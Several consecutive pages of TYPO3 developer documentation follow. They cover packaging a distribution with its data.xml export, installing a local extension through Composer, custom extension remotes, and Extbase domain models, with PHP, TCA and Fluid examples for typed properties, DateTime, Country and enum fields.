You should provide two preview images for your distribution. Provide a small 220x150 pixels for the list in the Extension Manager as Resources/Public/Images/Distribution.png and a larger 300x400 pixels welcome image as Resources/Public/Images/DistributionWelcome.png. The welcome image is displayed in the distribution detail view inside the Extension Manager.

Fileadmin Files

Create the following folder structure inside your extension:

  • Initialisation
  • Initialisation/Files

All the files inside that second folder will be copied to fileadmin/<extkey> during installation, where "extkey" is the extension key of your distribution.

A good strategy for files (as followed by the Introduction Package) is to construct the distribution so that it can be uninstalled and removed from the file system after the initial import.

To achieve that, when creating content for your distribution, all your content related files (assets) should be located within fileadmin/<extkey> in the first place, and content elements or other records should reference these files via FAL. A good export preset will then contain the content related assets within your dump.

If there are files not directly referenced in tables selected for export (for example ext:form .yml form configurations), you can locate them within fileadmin/<extkey>, too. Only those need to be copied to Initialisation/Files - all other files referenced in database rows will be within your export dump.

Note that you should not put your website configuration (TypoScript files, JavaScript, CSS, logos, etc.) in fileadmin/, which is intended for editors only, but in a separate extension. In the case of the Introduction Package, the configuration is located in the bk2k/bootstrap-package extension, and the Introduction Package depends on it. In this way, the Introduction Package provides only the database dump and asset files which results in only content-related files being in fileadmin/, which are provided by the Introduction Package.

Site configuration

In order to import a site configuration upon installation, supply a site config file to Initialisation/Site/<SITE_IDENTIFIER>/config.yaml.

Database Data

The database data is delivered as TYPO3 CMS export file under Initialisation/data.xml.

Generate this file by exporting your whole TYPO3 instance from the root of the page tree using the export module:

  1. Page tree

    Open the export module by right-clicking on the root of the page tree and selecting More Options > Export.

  2. Export module: Configuration

    Select the tables to be included in the export: It should include all tables except be_users and sys_log.

    Relations to all tables should be included, whereas static relations should not. Static relations are only useful if the related records already exist in the target TYPO3 instance. This is not the case with distributions that initialize the target TYPO3 instance.

    Fine-tune the export configuration by evaluating the list of records at the bottom of the page under "Inside pagetree": This is a precalculation of the records to be included in the export.

    Do not forget to click Update before proceeding to the next tab.

  3. Export module: Advanced Options

    Check Save files in extra folder beside the export file to save files (e.g. images), referenced in database data, in a separate folder instead of directly in the export file .

  4. Export module: File & Preset

    Insert meaningful metadata under Meta data. The file name must be "data" and the file format must be set to "XML".

    To reuse your export configuration during ongoing distribution development, you should now save it as a preset. Choose a descriptive title and click the Save button. A record will be created in the tx_impexp_presets table.

    Currently, after saving the export configuration, you jump to the first tab, so navigate back to the File & Preset tab.

    To finish the export, click the Save to filename button. Copy the export file from /fileadmin/user_upload/_temp_/importtexport/data.xml to the distribution folder under Initialisation/data.xml.

    If referenced files were exported, copy the fileadmin/user_upload/_temp_/importtexport/data.xml.files/ folder containing the files with hashed filenames to the distribution folder under Initialisation/data.xml.files/.

Distribution Configuration

A distribution is technically handled as an extension. Therefore you can make use of all configuration options as needed.

After installing the extension, the event AfterPackageActivationEvent is dispatched. You may use this to alter your website configuration (e.g. color scheme) on the fly.

Test Your Distribution

To test your distribution, copy your extension to an empty TYPO3 CMS installation and try to install it from the Extension Manager.

To test a distribution locally without uploading to TER, just install a blank TYPO3 (last step in installer "Just get me to the Backend"), then go to Extension Manager, select "Get extensions" once to let the Extension Manager initialize the extension list (this is needed if your distribution has dependencies to other extensions, for instance the Introduction Package depends on the Bootstrap Package). Next, copy or move the distribution extension to typo3conf/ext, it will then show up in Extension Manager default tab "Installed Extensions".

Install the distribution extension from there. The Extension Manager will then resolve TER dependencies, load the database dump and handle the file operations. Under the hood, this does the same as later installing the distribution via "Get preconfigured distribution", when it has been uploaded or updated in TER, with the only difference that you can provide and test the distribution locally without uploading to TER first.

Creating a new extension

First choose a unique Composer name for your extension. Additionally, an extension key is required.

If you plan to ever publish your extension in the TYPO3 Extension Repository (TER), register an extension key.

Kickstarting the extension

There are different options to kickstart an extension. You can create it from scratch or follow one of our tutorials on kickstarting an extension.

Installing the newly created extension

Starting with TYPO3 v11 it is no longer possible to install extensions in TYPO3 without using Composer in Composer-based installations.

However during development it is necessary to test your extension locally before publishing it. Place the extension directory into the directory called, packages inside of the TYPO3 project root directory.

Then edit your projects composer.json (The one in the TYPO3 root directory, not the one in the extension) and add the following repository:

composer.json
{
   "repositories": [
      {
         "type": "path",
         "url": "packages/*"
      }
   ]
}
Copied!

After that you can install your extension via Composer:

composer req my-vendor/my-extension:"@dev"
Copied!

Custom Extension Repository

TYPO3 provides functionality that connects to a different repository type than the "official" TER (TYPO3 Extension Repository) to download third-party extensions. The API is called "Extension Remotes". These remotes are adapters that allow fetching a list of extensions via the ListableRemoteInterface or downloading an extension via the ExtensionDownloaderRemoteInterface.

It is possible to add new remotes, disable registered remotes or change the default remote.

Custom remote configuration can be added in the Configuration/Services.yaml of the corresponding extension.

extension.remote.myremote:
  class: 'TYPO3\CMS\Extensionmanager\Remote\TerExtensionRemote'
  arguments:
    $identifier: 'myremote'
    $options:
       remoteBase: 'https://my_own_remote/'
  tags:
    - name: 'extension.remote'
      default: true
Copied!

Using default: true, "myremote" will be used as the default remote. Setting default: true only works if the defined service implements ListableRemoteInterface.

Please note that \Vendor\SitePackage\Remote\MyRemote must implement ExtensionDownloaderRemoteInterface to be registered as remote.

To disable an already registered remote, enabled: false can be set.

extension.remote.ter:
  tags:
    - name: 'extension.remote'
      enabled: false
Copied!

Adding documentation

If you plan to upload your extension to the TYPO3 Extension Repository (TER), you should first consider adding documentation to your extension. Documentation helps users and administrators to install, configure and use your extension, and decision makers to get a quick overview without having to install the extension.

The TYPO3 documentation platform https://docs.typo3.org centralizes documentation for each project. It supports different types of documentation:

  1. The full documentation, stored in EXT:{extkey}/Documentation/.
  2. The single file documentation, such as a simple README file stored in EXT:{extkey}/README.rst.

We recommend the first approach for the following reasons:

  • Output formats: Full documentations can be automatically rendered as HTML or TYPO3-branded PDF.
  • Cross-references: It is easy to cross-reference to other chapters and sections of other manuals (either TYPO3 references or extension manuals). The links are automatically updated when pages or sections are moved.
  • Many content elements: The Sphinx template used for rendering the full documentation provides many useful content elements to improve the structure and look of your documentation.

For more details on both approaches see the File structure page and for more information on writing TYPO3 documentation in general, see the Writing documentation guide.

Extbase: Extension framework in TYPO3

Extbase is an extension framework to create TYPO3 frontend plugins and TYPO3 backend modules. Extbase can be used to develop extensions but it does not have to be used.

Overview

Extbase is a framework for developing TYPO3 extensions, providing a structured approach based on the Model-View-Controller (MVC) pattern.

Key Principles

Extbase follows principles of Domain-Driven Design (DDD), enabling developers to build well-structured domain models. By leveraging object-oriented programming concepts and dependency injection, Extbase promotes maintainability and testability.

Integration with Fluid

Extbase integrates seamlessly with Fluid, TYPO3's templating engine, for flexible rendering of frontend content.

Database Interaction

Extbase offers a repository pattern and automatic data mapping to interact with the database.

Considerations

While Extbase is a supported and widely used framework within TYPO3, developers should evaluate whether it fits their specific project needs, as performance considerations may lead to different implementation strategies. For practical guidance, refer to extension tutorials, which demonstrate best practices for using Extbase in various scenarios.

Extbase introduction

What is Extbase?

Extbase is provided via a TYPO3 system extension (typo3-cms/extbase). Extbase is a framework within the TYPO3 Core. The framework is based on the software pattern MVC (model-view-controller) and uses ORM (object relational modeling).

Extbase can be and is often used in combination with the Fluid templating engine, but Fluid can also be used without Extbase. Backend modules and plugins can be implemented using Extbase, but can also be done with TYPO3 Core native functionality. Extbase is not a prerequisite for extension development. In most cases, using Extbase means writing less code, but the performance may suffer.

Key parts of Extbase are the Object Relational Model (ORM), automatic validation and its "Property Mapper".

When Extbase was released, it was introduced as the modern way to program extensions and the "old" way (pibase) was propagated as outdated. When we look at this today, it is not entirely true: Extbase is a good fit for some specific types of extensions and there are always alternatives. For some use cases it is not a good fit at all and the extension can and should be developed without Extbase.

Thus, many things, such as backend modules or plugins can be done "the Extbase way" or "the Core way". This is a design decision, the extension developer must make for the specific use case.

Extbase or not?

When to use Extbase and when to use other methods?

As a rule of thumb (which should not be blindly followed but gives some guidance):

Use Extbase if you:

  • wish to get started quickly, e.g. using the extension_builder
  • are a beginner or do not have much experience with TYPO3
  • want to create a "classic" Extbase extension with plugins and (possibly) backend modules (as created with the extension_builder)

Do not use Extbase

  • if performance might be an issue with the "classic" Extbase approach
  • if there is no benefit from using the Extbase approach
  • if you are writing an extension where Extbase does not add any or much value, e.g. an extension consisting only of Backend modules, a site package, a collection of content elements, an Extension which is used as a command line tool.

There is also the possibility to use a "mixed" approach, e.g. use Extbase controllers, but do not use the persistence of Extbase. Use TYPO3 QueryBuilder (which is based on doctrine/dbal) instead. With Extbase persistence or with other ORM approaches, you may run into performance problems. The database tables are mapped to "Model" objects which are acquired via "Repository" classes. This often means more is fetched, mapped and allocated than necessary. Especially if there are large tables and/or many relations, this may cause performance problems. Some can be circumvented by using "lazy initialization" which is supported within Extbase.

However, if you use the "mixed" approach, you will not get some of the advantages of Extbase and have to write more code yourself.

Domain concept in Extbase

The domain layer is where you define the core logic and structure of your application — things like entities, value objects, repositories, and validators.

See https://en.wikipedia.org/wiki/Domain-driven_design for more in-depth information.

The Classes/Domain/ folder contains the domain logic of your Extbase extension. This is where you model real-world concepts in your application and define how they behave.

While Domain-Driven Design (DDD) suggests putting business-related services in the Domain layer, in most TYPO3 extensions you will actually see service classes placed in: Classes/Service/. It is also possible to put them in Classes/Domain/Service/.

Basic example of a model with a repository in Extbase

This example shows a basic model (representing a scientific paper in real life) and its corresponding repository.

packages/my_extension/Classes/Domain/Model/Paper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Paper extends AbstractEntity
{
    protected string $title = '';
    protected string $author = '';

    public function getTitle(): string
    {
        return $this->title;
    }

    public function setTitle(string $title): void
    {
        $this->title = $title;
    }

    public function getAuthor(): string
    {
        return $this->author;
    }

    public function setAuthor(string $author): void
    {
        $this->author = $author;
    }
}
Copied!

Properties that will be persisted must be declared as protected or public.

To make properties available in Fluid templates, you must provide either a public property or a public getter method (starting with get, has, or is).

This repository follows Extbase's naming conventions and may stay empty unless custom queries are needed.

packages/my_extension/Classes/Domain/Repository/PaperRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use MyVendor\MyExtension\Domain\Model\Paper;
use TYPO3\CMS\Extbase\Persistence\Repository;

/**
 * @extends Repository<Paper>
 */
class PaperRepository extends Repository {}
Copied!

Extbase automatically detects which model the repository belongs to based on the naming convention <ModelName>Repository. No registration is necessary.

The PHPDoc @extends Repository<Paper> annotation helps static analysis tools (like PHPStan or Psalm) and IDEs with type inference and autocompletion.

By default a model is persisted to a database table with the following naming scheme: tx_[extension]_domain_model_[model].php. To create and define the database table use TCA configuration:

packages/my_extension/Configuration/TCA/tx_myextension_domain_model_paper.php
<?php

return [
    'ctrl' => [
        'title' => 'Paper',
        'label' => 'title',
        'delete' => 'deleted',
    ],
    'columns' => [
        'title' => [
            'label' => 'Title',
            'config' => [
                'type' => 'input',
                'eval' => 'trim,required',
            ],
        ],
        'author' => [
            'label' => 'Author',
            'config' => [
                'type' => 'input',
                'eval' => 'trim',
            ],
        ],
    ],
    'types' => [
        '0' => [
            'showitem' => 'title, author',
        ],
    ],
];
Copied!

Subfolders of Classes/Domain/

Typical subfolders include:

Model

Contains domain entities, value objects, DTOs, and enums. These define your application's core data structures and behaviors.

Repository

Repositories provide methods for retrieving and saving domain objects. They abstract persistence logic from the rest of the application.

Validator

Provides custom validators for domain objects. Use these to enforce business rules and validate object states.

Extbase model - extending AbstractEntity

All classes of the domain model should inherit from the class \TYPO3\CMS\Extbase\DomainObject\AbstractEntity .

An entity is an object fundamentally defined not by its attributes, but by a thread of continuity and identity, for example, a person or a blog post.

Objects stored in the database are usually entities as they can be identified by the uid and are persisted, therefore have continuity.

In the TYPO3 backend models are displayed as Database records.

Example:

Class T3docs\BlogExample\Domain\Model\Comment
class Comment extends AbstractEntity implements \Stringable
{
    protected string $author = '';

    protected string $content = '';

    public function getAuthor(): string
    {
        return $this->author;
    }

    public function setAuthor(string $author): void
    {
        $this->author = $author;
    }

    public function getContent(): string
    {
        return $this->content;
    }

    public function setContent(string $content): void
    {
        $this->content = $content;
    }
}
Copied!

Persistence: Connecting the model to the database

It is possible to define models that are not persisted to the database. However in the most common use cases you want to save your model to the database and load it from there. See Persistence: Saving Extbase models to the database.

Properties of an Extbase model

The properties of a model can be defined either as public class properties:

Class T3docs\BlogExample\Domain\Model\Tag
final class Tag extends AbstractValueObject implements \Stringable
{

    public int $priority = 0;
}
Copied!

Or public getters:

Class T3docs\BlogExample\Domain\Model\Info
class Info extends AbstractEntity implements \Stringable
{
    protected string $name = '';

    protected string $bodytext = '';

    public function getName(): string
    {
        return $this->name;
    }

    public function getBodytext(): string
    {
        return $this->bodytext;
    }

    public function setBodytext(string $bodytext): void
    {
        $this->bodytext = $bodytext;
    }
}
Copied!

A public getter takes precedence over a public property. Getters have the advantage that you can make the properties themselves protected and decide which ones should be mutable.

It is also possible to have getters for properties that are not persisted and get created on the fly:

Class T3docs\BlogExample\Domain\Model\Info
class Info extends AbstractEntity implements \Stringable
{
    protected string $name = '';

    protected string $bodytext = '';

    public function getCombinedString(): string
    {
        return $this->name . ': ' . $this->bodytext;
    }
}
Copied!

One disadvantage of using additional getters is that properties that are only defined as getters do not get displayed in the debug output in Fluid, they do however get displayed when explicitly called:

Debugging different kind of properties
Does not display "combinedString":
<f:debug>{post.info}</f:debug>

But it is there:
<f:debug>{post.info.combinedString}</f:debug>
Copied!

Typed vs. untyped properties in Extbase models

In Extbase, you can define model properties using either PHP native type declarations or traditional @var annotations. Typed properties are preferred, untyped properties are still supported for backward compatibility.

The example below demonstrates a basic model with both a typed and an untyped property:

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace Vendor\Extension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Blog extends AbstractEntity
{
    /**
     * Typed property (preferred)
     *
     * @var string
     */
    protected string $title = '';

    /**
     * Untyped property (legacy-compatible)
     *
     * @var bool
     */
    protected $published = false;

    // Getters and Setters
}
Copied!
  • $title is a typed property, using PHP’s type declaration. This is the recommended approach as it enforces type safety and improves code readability.
  • $published is an untyped property, defined only with a docblock. This remains valid and is often used in older codebases.

For persisted properties (those stored in the database), ensure that the property type matches the corresponding TCA Field type to avoid data mapping errors.

Nullable and Union types are also supported.

Default values for model properties

When Extbase loads an object from the database, it does not call the constructor.

This is explained in more detail in the section thawing objects of Extbase models.

This means:

  • Property promotion in the constructor (for example __construct(public string $title = '')) does not work
  • Properties must be initialized in a different way to avoid runtime errors

Good: Set default values directly

You can assign default values when defining the property. This works for simple types such as strings, integers, booleans or nullable properties:

EXT:my_extension/Classes/Domain/Model/Blog.php
class Blog extends AbstractEntity
{
    protected string $title = '';
    protected ?\DateTime $modified = null;
}
Copied!

Good: Use initializeObject() for setup

If a property needs special setup (for example, using new ObjectStorage()), you can put that logic into a method called initializeObject(). Extbase calls this method automatically after loading the object:

EXT:my_extension/Classes/Domain/Model/Blog.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\ObjectStorage;

class Blog extends AbstractEntity
{
    protected ObjectStorage $posts;

    public function __construct()
    {
        $this->initializeObject();
    }

    public function initializeObject(): void
    {
        $this->posts = new ObjectStorage();
    }
}
Copied!

Avoid: Constructor property promotion

This will not work when the object comes from the database:

public function __construct(protected string $title = '') {}
Copied!

Since the constructor is never called during hydration, such properties remain uninitialized and can cause errors like:

Error: Typed property MyVendorMyExtensionDomainModelBlog::$title must not be accessed before initialization

To prevent this, always initialize properties either where they are defined or inside the initializeObject() method.

TCA default values

If the TCA configuration of a field defines a default value, that value is applied after initializeObject() has been called, and before data from the database is mapped to the object.

Extending existing models

It is possible, with some limitations, to extend existing Extbase models in another extension. See also Tutorial: Extending an Extbase model.

Property types of Extbase models

In Extbase models, property types can be defined either through a native PHP type declaration or a @var annotation for untyped properties.

For persisted properties, it is important that the PHP property type and the matching TCA field configuration are compatible — see the list below for commonly used property types and their mappings.

Primitive types in Extbase properties

The following table shows the primitive PHP types that are commonly used in Extbase models and the TCA field types they typically map to:

PHP Type (section) Common TCA field types Database column types
string input, text, email, password, color, select, passthrough varchar(255), text
int number (with format: integer), select with numeric values int(11), tinyint(1)
float number (with format: decimal) double, float
bool check tinyint(1)

If the primitive PHP type is nullable (?string, ?int ... ) the TCA field must also be nullable. A checkbox will appear in the backend, which deactivates the field by default. If the field is deactivated it is saved as NULL in the database.

string properties in Extbase

Extbase properties of the built-in primitive type string are commonly used with TCA fields of type Input (max 255 chars) or Text areas & RTE.

Strings can also be used for Select fields that set a single value where the values are strings, for Color and Email field types and Pass through / virtual fields.

packages/my_extension/Classes/Domain/Model/StringExample.php
<?php

declare(strict_types=1);

namespace Vendor\Extension\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;

class StringExample extends \TYPO3\CMS\Extbase\DomainObject\AbstractEntity
{
    #[Validate(['validator' => 'StringLength', 'options' => ['maximum' => 255]])]
    protected string $title = '';
    public ?string $subtitle = null;
    protected string $description = '';
    protected string $icon = 'fa-solid fa-star';
    #[Validate(['validator' => 'MyColorValidator'])]
    protected string $color = '#ffffff';
    #[Validate(['validator' => 'EmailAddress'])]
    protected string $email = '';
    protected string $passwordHash = '';
    #[Validate(['validator' => 'StringLength', 'options' => ['maximum' => 255]])]
    protected string $virtualValue = '';
}
Copied!
packages/my_extension/Configuration/TCA/tx_myextension_domain_model_stringexample.php
<?php

return [
    // ...
    'columns' => [
        'title' => [
            'label' => 'Title',
            'config' => [
                'type' => 'input',
                'size' => 50,
                'eval' => 'trim,required',
            ],
        ],
        'subtitle' => [
            'label' => 'Subtitle',
            'config' => [
                'type' => 'input',
                'eval' => 'trim',
                'nullable' => true,
            ],
        ],
        'description' => [
            'label' => 'Description',
            'config' => [
                'type' => 'text',
                'cols' => 40,
                'rows' => 5,
            ],
        ],
        'icon' => [
            'label' => 'Icon',
            'config' => [
                'type' => 'select',
                'renderType' => 'selectSingle',
                'maxitems' => 1,
                'items' => [
                    [
                        'label' => 'Font Awesome Icons',
                        'value' => '--div--',
                    ],
                    [
                        'label' => 'Star',
                        'value' => 'fa-solid fa-star',
                    ],
                    [
                        'label' => 'Heart',
                        'value' => 'fa-solid fa-heart',
                    ],
                    [
                        'label' => 'Comment',
                        'value' => 'fa-solid fa-comment',
                    ],
                ],
                'default' => 'fa-solid fa-star',
            ],
        ],
        'color' => [
            'label' => 'Color',
            'config' => [
                'type' => 'color',
            ],
        ],
        'email' => [
            'label' => 'Email',
            'config' => [
                'type' => 'email',
            ],
        ],
        'password' => [
            'label' => 'Password',
            'config' => [
                'type' => 'password',
            ],
        ],
        'virtualValue' => [
            'label' => 'Virtual Value',
            'config' => [
                'type' => 'passthrough',
            ],
        ],
    ],
];
Copied!
packages/my_extension/ext_tables.sql
CREATE TABLE tx_myextension_domain_model_stringexample (
     virtual_value varchar(255) DEFAULT '' NOT NULL,
);
Copied!

If fields are editable by frontend users, you should use Validators to prohibit values being input that are not allowed by their corresponding TCA fields / database columns. For virtual fields (passthrough), you must manually define the database schema in ext_tables.sql.

When using a nullable primitive type ( ?string) in your Extbase model, you must set the field to nullable in the TCA by setting nullable to true.

int properties in Extbase

Extbase properties of the built-in primitive type int are commonly used with TCA fields of type Number (with format integer) and Select fields that store integer values — for example, simple option fields where the value is a numeric key (with no relation to an enum or database record).

These are typically used for ratings, importance levels, custom statuses, or small, fixed sets of choices.

packages/my_extension/Classes/Domain/Model/IntExample.php
<?php

declare(strict_types=1);

namespace Vendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class IntExample extends AbstractEntity
{
    #[Validate([
        'validator' => 'NumberRange',
        'options' => ['minimum' => 0, 'maximum' => 10],
    ])]
    public int $importance = 0;

    #[Validate([
        'validator' => 'NumberRange',
        'options' => ['minimum' => 0, 'maximum' => 3],
    ])]
    public int $status = 0;
}
Copied!
packages/my_extension/Configuration/TCA/tx_myextension_domain_model_intexample.php
<?php

return [
    'columns' => [
        // ...

        'importance' => [
            'label' => 'Importance',
            'config' => [
                'type' => 'number',
                'default' => 0,
            ],
        ],

        'status' => [
            'label' => 'Status',
            'config' => [
                'type' => 'select',
                'renderType' => 'selectSingle',
                'items' => [
                    ['label' => 'None', 'value' => 0],
                    ['label' => 'Low', 'value' => 1],
                    ['label' => 'Medium', 'value' => 2],
                    ['label' => 'High', 'value' => 3],
                ],
                'default' => 0,
            ],
        ],

        // ...
    ],
];
Copied!

When not to use type int for a property

The int type is commonly used for simple numeric values, but it should not be used in the following cases:

  • Date and time fields: For fields configured with datetime, use \DateTimeInterface instead of int to benefit from proper time handling and formatting in Extbase and Fluid.
  • Boolean values: For fields using check, use the bool type instead of int to reflect the binary nature (0/1) of the value more clearly. See bool properties.
  • Multi-value selections: If a field uses selectMultipleSideBySide or similar to store multiple selections, use array or ObjectStorage of related objects.
  • Enums: For fixed sets of numeric values, avoid using int and instead use an enum to ensure type safety and better readability in your model and templates. See Enumerations.
  • Relations to other database tables: Fields representing foreign keys (for example select with foreign_table, IRRE / inline, or group) should not be type int, but rather ObjectStorage <YourModel> or ?YourModel depending on whether the relation is singular or plural. See Relations between Extbase models.

float properties in Extbase

Properties of built-in primitive type float (also known as double) are used to store decimal values such as prices, ratings, weights, or coordinates.

In TYPO3 v13, these are typically used with the Number TCA field type. To accept and display decimal numbers in the backend form, the format option must be set to decimal.

packages/my_extension/Classes/Domain/Model/FloatExample.php
<?php

declare(strict_types=1);

namespace Vendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class FloatExample extends AbstractEntity
{
    public float $price = 0.0;

    public ?float $rating = null;
}
Copied!
packages/my_extension/Configuration/TCA/tx_myextension_domain_model_floatexample.php
<?php

return [
    // ...
    'columns' => [
        'price' => [
            'label' => 'Price',
            'config' => [
                'type' => 'number',
                'format' => 'decimal',
                'default' => 0.0,
            ],
        ],
        'rating' => [
            'label' => 'Rating',
            'config' => [
                'type' => 'passtrough',
                'format' => 'decimal',
                'nullable' => true,
            ],
        ],
    ],
];
Copied!

bool properties in Extbase

Properties of built-in primitive type bool are used for binary decisions, such as opting in to a feature or accepting terms and conditions.

In TYPO3 v13, boolean values are typically managed using Check fields with renderType: checkboxToggle, which provides a user-friendly toggle UI.

packages/my_extension/Classes/Domain/Model/BoolExample.php
<?php

declare(strict_types=1);

namespace Vendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\Annotation\Validate;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class BoolExample extends AbstractEntity
{
    public bool $wantsNewsletter = false;

    #[Validate([
        'validator' => 'Boolean',
        'options' => ['is' => true],
    ])]
    public bool $acceptedPrivacyPolicy = false;
}
Copied!
packages/my_extension/Configuration/TCA/tx_myextension_domain_model_boolexample.php
<?php

return [
    'columns' => [
        'wants_newsletter' => [
            'label' => 'Subscribe to newsletter',
            'config' => [
                'type' => 'check',
                'renderType' => 'checkboxToggle',
                'default' => 0,
            ],
        ],
        'accepted_privacy_policy' => [
            'label' => 'I accept the privacy policy',
            'config' => [
                'type' => 'check',
                'default' => 0,
            ],
        ],
    ],
];
Copied!

Predefined classes as types of models

Datetime model types

The PHP classes \DateTime and \DateTimeImmutable can be used with the TCA field type datetime

The value can be stored in the database as either a unix timestamp int(11) (default) or type datetime (TCA dbType datetime).

In the frontend they are commonly displayed using the f:format.date ViewHelper <f:format.date>.

packages/my_extension/Classes/Domain/Model/DateExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class DateExample extends AbstractEntity
{
    /**
     * A datetime stored in an integer field
     */
    public ?\DateTime $datetimeInt = null;

    /**
     * A datetime stored in a datetime field
     */
    public ?\DateTime $datetimeDatetime = null;
}
Copied!

Use \DateTimeImmutable if you want the date to be immutable.

packages/my_extension/Configuration/TCA/tx_myextension_domain_model_dateexample.php
<?php

declare(strict_types=1);

return [
    // ...
    'columns' => [
        'datetime_text' => [
            'exclude' => true,
            'label' => 'type=datetime, db=text',
            'config' => [
                'type' => 'datetime',
            ],
        ],
        'datetime_int' => [
            'exclude' => true,
            'label' => 'type=datetime, db=int',
            'config' => [
                'type' => 'datetime',
            ],
        ],
        'datetime_datetime' => [
            'exclude' => true,
            'label' => 'type=datetime, db=datetime',
            'config' => [
                'type' => 'datetime',
                'dbType' => 'datetime',
                'nullable' => true,
            ],
        ],
    ],
];
Copied!
packages/my_extension/Resources/Private/Templates/Date/Show.html
<f:format.date format="%d. %B %Y">{example.datetimeInt}</f:format.date>
<f:format.date format="%d. %B %Y">{example.datetimeDatetime}</f:format.date>

Or inline:

{example.datetimeInt -> f:format.date(format: '%d. %B %Y')}
{example.datetimeDatetime -> f:format.date(format: '%d. %B %Y')}
Copied!

Consistent DateTime handling

New in version 13.4.12

Consistent DateTime handling across Extbase, FormEngine, and DataHandler was introduced. Enabled via the feature flag extbase.consistentDateTimeHandling.

With the feature flag extbase.consistentDateTimeHandling, Extbase aligns its DateTime mapping logic with the behavior of FormEngine and DataHandler.

The following changes apply when the feature is enabled:

  • Timezone offsets in \DateTime objects are preserved correctly during persistence.
  • DateTime instances for integer-based time fields use named timezones (e.g. Europe/Berlin) rather than offset-only values (+01:00).
  • Time-only fields (format=time, format=timesec) are interpreted as seconds since midnight, mapped to 1970-01-01 in local time, not as UNIX timestamps.
  • 00:00:00 is treated as a valid midnight value even for nullable fields.
  • All time values are initialized with 1970-01-01 rather than the current day, improving stability across contexts.

To enable the feature:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['extbase.consistentDateTimeHandling'] = true;
Copied!

For a detailed explanation of each behavior, see the changelog entry for issue #106467.

Country model type

New in version 14.0

When using Extbase Controllers to fetch Domain Models containing properties declared with the \TYPO3\CMS\Core\Country\Country type, these models can be used with their getters, and passed along to Fluid templates.

packages/my_extension/Classes/Controller/TeaSupplyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\Tea;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Country\CountryProvider;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

class TeaSupplyController extends ActionController
{
    // ...

    public function __construct(
        private readonly CountryProvider $countryProvider,
        private readonly TeaRepository $teaRepository,
    ) {}

    public function showCountryFormAction(Tea $tea): ResponseInterface
    {
        // Do something in PHP, using the Country API
        if ($tea->getCountryOfOrigin()->getAlpha2IsoCode() == 'DE') {
            // ...
        }
        $this->view->assign('tea', $tea);

        // You can access the `CountryProvider` API for additional country-related
        // operations, too (ideally use Dependency Injection for this):
        $this->view->assign('countries', $this->countryProvider->getAll());

        return $this->htmlResponse();
    }
    public function changeCountryOfOriginAction(Tea $tea): ResponseInterface
    {
        $this->teaRepository->update($tea);
        $this->addFlashMessage('Country of origin was changed');
        return $this->redirect('showCountryForm');
    }
}
Copied!

See chapter Country API for more information on how to use countries in PHP.

packages/my_extension/Classes/Domain/Model/Tea.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use TYPO3\CMS\Core\Country\Country;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Tea extends AbstractEntity
{
    protected ?Country $countryOfOrigin = null;

    public function getCountryOfOrigin(): ?Country
    {
        return $this->countryOfOrigin;
    }

    public function setCountryOfOrigin(?Country $countryOfOrigin): void
    {
        $this->countryOfOrigin = $countryOfOrigin;
    }
}
Copied!

Keep in mind that Extbase does not automatically validate country TCA definitions for properties.

This means that if you restrict allowed countries using filter.onlyCountries in the TCA, you must also enforce the same constraint in your frontend logic.

It is recommended to use Extbase Validators for this task.

packages/my_extension/Configuration/TCA/tx_myextension_domain_model_tea.php
<?php

return [
    //...
    'columns' => [
        'country_of_origin' => [
            'label' => 'Country of origin',
            'config' => [
                'type' => 'country',
            ],
        ],
    ],
];
Copied!

See also Country picker TCA type.

packages/my_extension/Resources/Private/Templates/TeaSupply/ShowTeaForm.html
<p>Current value for the country: {model.country.flag}
<span title="{f:translate(key: model.country.localizedOfficialNameLabel)}">
 {model.country.alpha2IsoCode}
</span></p>

<p>Change the country here:</p>
<f:form action="changeCountryOfOrigin" objectName="tea" object="{tea}">
    <f:form.countrySelect
        name="country"
        property="countryOfOrigin"
        prioritizedCountries="{0: 'DE', 1: 'AT', 2: 'CH'}"
    />
</f:form>
Copied!

You can access any getXXX() methods from the Country API using Fluid syntax such {model.country.XXX} accessors.

To modify country values in forms, use the Form.countrySelect ViewHelper <f:form.countrySelect>.

A complete example of using Extbase with the Country API is available in the EXT:tca_country_example demo extension.

Enumerations as Extbase model property

New in version 13.0

Native PHP enumerations can be used for properties where the database field has a set of values which can be represented by a backed enum. A property with an enum type should be used with a TCA field that only allows specific values to be stored in the database, for example Select fields and Radio buttons.

An enum can be used for a property in the model:

EXT:my_extension/Classes/Domain/Model/Paper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Model;

use MyVendor\MyExtension\Enum\Status;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;

class Paper extends AbstractEntity
{
    protected Status $status = Status::DRAFT;

    // ... more properties
}
Copied!

It is recommended to use backed enumerations:

EXT:my_extension/Classes/Enum/Status.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Enum;

enum Status: string
{
    case DRAFT = 'draft';
    case IN_REVIEW = 'in-review';
    case PUBLISHED = 'published';
    public const LLL_PREFIX = 'LLL:EXT:my_extension/Resources/Private/Languages/locallang.xlf:status-';
    public function getLabel(): string
    {
        return self::LLL_PREFIX . $this->value;
    }
}
Copied!

